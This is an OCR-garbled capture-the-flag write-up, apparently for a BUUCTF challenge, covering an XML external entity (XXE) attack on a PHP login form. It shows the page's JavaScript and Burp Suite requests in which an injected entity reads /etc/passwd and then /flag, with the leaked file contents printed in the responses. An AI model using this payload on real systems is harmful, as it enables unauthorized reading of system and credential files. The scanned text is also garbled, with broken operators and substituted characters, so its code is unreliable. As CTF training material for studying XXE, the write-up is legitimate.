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< ="text/javascript'>
function dolLogin(){

var username = $("#username").val();
var password = $("#password").val();
if(username " password ""){

alert("Please enter the username and password!");

return;
)i

var data "<user><username>" username "</username><password>" password "</password></user>";
$.ajax({

type: "POST",

url: "doLogin.php",

contentType: "application/xml;charset=utf-8",

data: data,

dataType: "xml",

anysc: false,

success: function (result) {
var code result.getElementsByTagName("code")[@].childNodes[@].nodeValue;
var msg result.getElementsByTagName("msg")[0].childNodes[@].nodeValue;
if(code "9"){
$(".msg").text(msg " login faill");
}else if(code "1"){
$(".msg").text(msg " login success!");

}else{
$(".msg").text("error:" msg);

)i

¥

error: function (XMLHttpRequest,textStatus,errorThrown) {

$(".msg").text(errorThrown ot textStatus);
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admin login fail!

@ admin

£

1% F BurpSuite U HE £, -

/ Request to http://a5ladc5e-cc32-4cd3-8c0f-2af244a3a750.node3.buuoj.cn:80 [111.73.45.58]

[ Forward ] [ Drop ] [ Intercept is on | Action

J Raw T Params T Headers T Hex TXML ]

1 POST /doLogin.php HTTP/1.1

2 Host: a5ladcb5e-cc32-4cd3-8c0f-2af244a3a750.node3.buuoj.cn

3 Content-Length: 65

4 Accept: application/xml, text/xml, */*; g=0.01

5 X-Requested-With: XMLHttpRequest

6 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1 0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
7 Content-Type: application/xml;charset=UTF-8

8 Origin: http://a5ladc5e-cc32-4cd3-8c0f-2af244a3a750.node3.buuoj.cn

9 Referer: http://a5ladc5e-cc32-4cd3-8c0f-2af244a3a750.node3.buuoj.cn/

10 Accept-Encoding: gzip, deflate

11 Accept-Language: zh-CN,zh;g=0.9

12 Cookie: UM_distinctid=1768e6bc3e04d6-0add687fb96a01-6d112d7¢c-13¢c680-1768e6bc3elf53
13 Connection: close

14

15 <user><username>admin</username><password>admin</password></user>

R 7 HAPXMLA:
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<?xml version="1.0" encoding="utf-8"?>
< IDOCTYPE note [
<IENTITY admin SYSTEM "file:///etc/passwd">

1>

</ >123456</



f# FiiRepeater  i% £ 45 U

Request

j Raw T Params T Headers T Hex TXML ]

1 POST /doLogin.php HTTP/1.1 A
2 Host: 6ael868e-8831-47ac-bbl0c-b2da7cccle22.node3.buuoj.cn P
3 Content-Length: 179
4 Accept: application/xml, text/xml, */*; g=0.01
5 X-Requested-With: XMLHttpRequest
6 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 11 1 0) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
7 Content-Type: application/xml;charset=UTF-8
8 Origin: http://6ae0868e-8831-47ac-bb0c-b2da7cccle22.node3.buuoj.cn
9 Referer: http://6ae0868e-8831-47ac-bbl0c-b2da7cccl0e22.node3.buuoj.cn/
10 Accept-Encoding: gzip, deflate
11 Accept-Language: zh-CN,zh;g=0.9
12 Cookie: UM distinctid=1768e6bc3e04d6-0add687fb96a01-6d112d7c-13c680-1768e6bc3elf53
13 Connection: close
14
15 <?xml version="1.0" encoding="utf-8"?>
16 <!DOCTYPE note |
17 <!ENTITY admin SYSTEM "file:///etc/passwd">
18 1>
19 <user><username>&admin;</username><password>123456</password></user>|
(CE IR
Response
j Raw T Headers T Hex TXML T Render ]
1 HTTP/1.1 200 OK A
2 Server: openresty P
3 Date: Sun, 03 Jan 2021 09:22:06 GMT
4 Content-Type: text/html; charset=utf-8
5 Content-Length: 968
6 Connection: close
7 Vary: Accept-Encoding
8 X-Powered-By: PHP/7.4.0RC6
9
10 <result><code>0</code><msg>root:x:0:0:root:/root:/bin/bash
11 daemon:x:1l:1:daemon:/usr/sbin:/usr/sbin/nologin
12 bin:x:2:2:bin:/bin:/usr/sbin/nologin
13 sys:x:3:3:sys:/dev:/usr/sbin/nologin
14 sync:x:4:65534:sync:/bin:/bin/sync
15 games:x:5:60:games:/usr/games:/usr/sbin/nologin
16 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
17 1p:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin
18 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
19 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
20 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
21 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
22 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
23 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
24 1list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
25 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
26 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
27 nobody:x:65534:65534:nobody: /nonexistent:/usr/sbin/nologin
28 _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
29 </msg></result>
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<?xml version="1.0" encoding="utf-8"?>

< IDOCTYPE note [
<IENTITY admin SYSTEM "file:///flag">
1>

</ >123456</

f33flag:

Response

J Raw T Headers T Hex TXML T Render ]

HTTP/1.1 200 OK

Server: openresty

Date: Sun, 03 Jan 2021 09:24:38 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 85

Connection: close

Vary: Accept-Encoding

X-Powered-By: PHP/7.4.0RC6

<result><code>0</code><msg>flag{fl6eeebb-007b-4ell-a32c-£fdb23d62d60b}
</msg></result>
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